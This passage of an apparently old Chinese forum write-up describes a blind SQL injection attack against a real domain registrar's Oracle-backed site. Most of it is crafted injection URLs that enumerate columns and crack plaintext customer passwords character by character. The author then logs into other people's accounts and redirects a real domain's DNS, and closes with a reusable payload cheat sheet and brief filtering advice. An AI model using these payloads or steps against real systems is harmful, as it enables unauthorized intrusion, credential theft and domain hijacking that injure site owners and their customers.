vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,1)='A')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,1)='B')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,1)='C')%20AND%20'1'='1
。
。
。
这里的意思是通过猜测来看看在CUSTOMERMST表中存在哪些字母开头的列名。页面正确返回,也就是返回200 OK,那就是存在。
通过检测,知道存在以A,B,C,E,F,G,I,L,M,O,P,R,S,U开头的列名。我晕,这么多。。。没办法,慢慢来吧。先来看A开头的:
这里的方法和上面猜测表名的方法差不多,将ADMIN文件的内容改为:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,2)='AA')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,2)='AB')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,2)='AC')%20AND%20'1'='1
。
。
。
OK,得到前两位是AR,继续。。。最后得到列名为AREAID。这里需要注意一点的是,在一位位检测的时候,可能出来多个结果,就说明有多个列名。比如检测以B开头的第二位的时候,BI和BU都返回200 OK,那么就说明有以BI,BU开头的列名,下面要分别去猜。以此类推,最后我们得到了CUSTOMERMST表的所有列名(擦一下汗......):
AREAID
BIRTHDAY
BIZID
BUSINESSSTATUS
CHANNEL _STAFFID
CITYID
CONTACT
COUNTRY
CUSTOMERID
CUSTOMERINDUSTRY
CUSTOMERORIGINTYPE
EMAILBACKUP
。
。
。
PASSWORD
。
。
。
USERID
。
。
看名字,就知道CUSTOMERID,PASSWORD和USERID这三个字段是最重要的。
万网在登陆的时候是用一个数字ID和 密码登陆的。那么这两个ID到底哪个才是用来登陆的ID呢?我们这样来做。到万网首页登陆框那里,用通过用户名查数字ID的方法查个ID过来。恩。。。用什么用户的名字呢?我们可是对数据的类型一无所知啊。在首页上转了转,发现底部有个万网新客户推荐栏目。仔细看了一下,有个房地产门户-搜房网 _blank> http://www.soufun.com/ 恩,就用soufun这个名字好了~^ _^
OK,得到soufun用户的ID是10529112。下面我们就来确定哪个字段才是ID字段。提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20CUSTOMERID='10529112')%20and%20'1'='1
哇靠,页面没有正确返回,返回了错误。看来不是这个字段。再提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112')%20and%20'1'='1
OK,嘿嘿,这次页面正确返回了。看来USERID字段是放用户登陆ID的。同样方法,检测出CUSTOMERID字段是放用户名的。
字段属性知道了,下面开始猜 密码了,还是用这个admin用户。当然,还是要一位位的猜。终于可以猜 密码了,嘿嘿。不累了。将ADMIN文件内容改成:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='a')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='b')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='c')%20AND%20'1'='1
。
。
。
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='0')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='1')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='2')%20AND%20'1'='1
。
。
。
这里要加上是个阿拉伯数字, 密码一般是字母加数字嘛:)。上面就是猜ID为10529112的用户的 密码的第一位。几秒过后, 密码第一位出来了,是n。继续猜第二位,方法和上面猜表名,列名的方法一样,唯一不同的就是这里不会出现多个结果了。最后得到ID是10529112的用户的 密码是n****。我晕, 密码竟然不加密。。。 数据库和 安全专家呢。。。?
猜出了 密码,恩,来登陆一下SEESEE,嘿嘿。
哈哈,登陆OK!。。。可用金额竟然素-130元......,晕!还能透支的?欺骗偶滴感情T _T。不怕!找到存钱的字段,UPDATE!嘿嘿......可惜我试了N次都不知道该怎么正确的执行update和insert,5555555。哪位高手有好的方法,大家交流一下:)
当然,登陆进去以后就有了这个帐户的一切权利。先来看看已付款产品管理。......什么东东都没有,晕!再来看看这个用户的财务信息:
恩......打开最近的一笔交易。发现是转了130大元到了10144167。难道10144167这个帐号才素有钱人?:P
马上破解出10144167的 密码u******,登陆进去。哈哈,原来是域名分销联盟伙伴,有钱人~余额329^ _^.再打开已付款产品管理,再哈哈,这么多域名啊~:P
打开页面底部的域名解析综合 服务,HOHO找到了中文通用域名注册-搜房网.中国。点击,就来到了搜房网.中国的域名解析 服务页面,这里我们可以随意更改搜房网.中国的解析,来控制域名指向。
说到这里,我的心思已经不是去弄个 会员了。因为这样的危害实在是太大了。想想看,我们得到了用户帐号和 密码,登陆进去,就可以轻易更改用户购买的域名的指向,指到我们指定的位置。试想一个恶意的 攻击者,把某个商业站点的域名指向指到自己制作的一个假的站点去,那么用户登陆这个商业站点的帐号信息也就等于毫无 安全可言了。我们访问在万网注册域名的网站将全部乱套。而对于购买了虚拟主机 服务的用户来说,危害就是, 攻击者通过万网提供的网站管理系统,可以完全控制网站,这个危害就不用说了。
对于万网来说,其所有的业务都有可能受到影响,数据可以被任意获取篡改,我想没有客户敢这样申请业务吧,呵呵。
比如就用上面的那个拥有很多域名的用户来做个演示。我想让szsxmd.gd.cn这个域名解析到著名的 _blank> www.xfocus.net 安全焦点。首先我PING一下 _blank> www.xfocus.net得到IP为202.106.127.50。然后,我进入域名解析综合业务,在szsxmd.gd.cn这个域名的解析业务里加一条记录,指定解析IP为202.106.127.50 。如图:
过了几个小时以后,域名解析生效,我们再访问szsxmd.gd.cn时,就会发现,我们来到了 安全焦点的页面:)
而在命令行中PING szsxmd.gd.cn时,会发现,地址解析为202.106.127.50:)
其他的一些危害是显而易见的,并且比较大,我就不再做实际的演示了。
数据库可以说是一个站点的重中之重。通过这个注入 漏洞,我们完全可以控制 数据库中的数据,不光光是用户帐号的信息,所有存在 数据库中的数据,我们都可以获取,体力活而已了。在开放PUBLIC组的UTL _FILE权限的情况下,其实还可以用UNION查询读取 服务器上的文件,这点和PHP+MYSQL注入中的load _file()有些相似。当然也可以执行UPDATE之类的。只是在ORACLE注入上,我还是个菜鸟,还没能更新插入数据和进行更高级的注入 攻击。而且ORACLE的注入只能一位位的去猜,并且没有自动化的 工具。我是利用了NBSI的后台扫描功能和WPE来提高了效率。不过我相信,高手是很多的,自动化的 工具也很快就会出现。^ _^
这里总结一下一些注入时用到的语句:
0〈〉(select count(*) from all _tables) and '1'='1 猜测是否有all _tables系统表,确认注入
0〈〉(select count(*) from user _tab _columns where column _name like '%25列名关键字%25') AND '1'='1 猜测是否有包含定义关键字的列名
0〈〉(select count(*) from user _tab _columns where column _name like '%25列名关键字%25' and substr(table _name,1,1)='A') AND '1'='1 包含关键列名的表中是否有以A开头的。即开始一位位猜表。
0〈〉(select count(*) from user _tables where table _name like '%25表名关键字%25' and length(table _name)=N) and '1'='1 猜测包表名含有关键字的表的长度
0〈〉(select count(*) from user _tab _columns where table _name='表名' and substr(column _name,1,1)='A') AND '1'='1 猜测列名
0〈〉(select count(*) from 表名 where 列名1='XXXXXXXX' and substr(列名2,1,1)='a') AND '1'='1 猜测数据
那么,ORACLE注入 漏洞的原理是什么呢?这里我就简单的介绍一下。就拿我们注入的这个页面来说。
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
在ASP程序的源码中的查询语句可能是:
select * from TABLE where PACKAGEID ='10341'
因为作为一个非开源程序的 攻击者来说,我们无从知道ASP程序中的源码究竟是什么样子的,只能通过返回的错误信息来判断大概的结构。所以这里我是举个大概的样子。
闲话少说。我们一起来分析。当我们访问这个页面时,ASP程序就根据URL中提交的参数10341去查询了TABLE表中PACKAGEID为10341的数据并且把它返回给我们。从我们测试的情况看,这个参数并没有做过滤就放到了查询语句中,这就给我们的注入提供了条件。当我们提交 _Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from all _tables) and ‘1'='1 时。在ASP程序中的查询语句就变成了这样:
select * from TABLE where PACKAGEID ='10341' and 0<>(select count(*) from all _tables) and ‘1'='1'
这样我们就成功的把我们想执行的查询语句插入了ASP程序原来的查询语句中。这里和MSSQL有所不同的是,我们不能用—符号将后面的语句注释掉,后面的and ‘1'='1就是为了匹配多出来的那个引号,从而使整个查询语句成立,正常返回页面。比如提交 _Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from all _tables) and ‘1'='1' and ‘x'='x 整个页面也是正常返回的^ _^。
其实要防止这种注入很简单,只要对在URL中提交的参数进行严格的过滤,去除一些比如单引号,SQL关键字等不应该出现的字符,应该来说, 攻击者就没有什么机会了。具体的做法可以是检查提交的URL中?号后面的字符串,发现有单引号,分号,SQL关键字等不该出现的字符的,马上就跳转到一个自定义的ERROR页面。个人认为这样是比较好的方法。尤其对于非开源程序的 攻击者来说,几乎就是绝路了。
网络 安全是多方面的,每个环节都必须要时刻注意。可以用一个链条来做比喻,如果这个链条中任意一个环节出了问题,那么整个链就断了。就像万网的这个 漏洞,虽然只是一个很小很小的问题,但是其影响是很大的,可以轻易的改变万网客户域名指向。如果我把很多的域名都指向某个站点,那这个站点就相当于瘫掉了。所以 网络上的 安全不是某家或者某些人的事情,而是需要我们整体从上到下都去做好,才可以。另外,自从经历了许许多多的蠕虫, 病毒的 攻击以后,大家普遍对自己 服务器的 安全关注起来,装FW,IDS,电信也参与进来封了一些端口。有些站点甚至就只开了80口。那么在 服务器上运行的 代码的 安全,就显得格外的重要了。一个小小地方的小小疏忽,就有可能造成全局的崩溃。防御 技术在不断进步, 攻击手段也在不断翻新。今天有SQL注入,明天又会出现什么呢?时刻关注最新的 攻击手段,我想对于一个优秀的管理员是非常重要的。遗憾的是现在有许多程序员在编写 代码时还没有一个 安全意识,而管理员只是把写好的 代码放到 服务器上,管好 服务器的 安全(我们公司也是这样,呵呵), 代码的编写 漏洞,就成为了一个突破口。我从高中就开始关注 安全的问题,现在也在从事这方面的工作。可以说现在的 网络比起以前, 安全了太多太多,但是 技术在进步,今天的 安全不代表明天的 安全。 安全是一个永恒的话题。我个人的感觉是,那些蠕虫, 病毒,是加强网管们 安全意识的最有力武器,同样我相信,利用 代码缺陷的 攻击,也会加强程序员们编写 代码时的 安全意识。^ _^
最后,希望万网解决这个 漏洞,对于专家们来说,我想解决这个问题也许只要花不到5分钟。另外,加强一下自己 数据库的数据 安全,加个密吧。还有,你们的邮件 服务器没问题吧?顺便提一下,国内还有很多站点有这样的注入 漏洞,比如XX之家,XX部等:)
感谢大家耐心的看完我的陋文。偶水平有限,如果有什么错误,欢迎大家能指正,偶的MSN:war3apollo@hotmail.com。对于外面的世界来说,偶永远是只菜鸟:)。